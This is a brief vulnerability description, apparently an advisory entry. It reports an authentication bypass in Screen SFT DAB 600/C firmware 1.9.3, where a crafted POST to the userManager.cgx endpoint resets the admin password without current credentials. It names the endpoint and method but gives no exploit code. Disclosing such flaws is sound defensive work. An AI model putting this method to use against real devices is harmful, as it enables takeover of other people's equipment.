Description

Screen SFT DAB 600/C firmware 1.9.3 contains an authentication bypass vulnerability that allows attackers to change the admin password without requiring the current credentials. Attackers can exploit the userManager.cgx API endpoint by sending a crafted POST request with a new MD5-hashed password to directly modify the admin account's authentication.
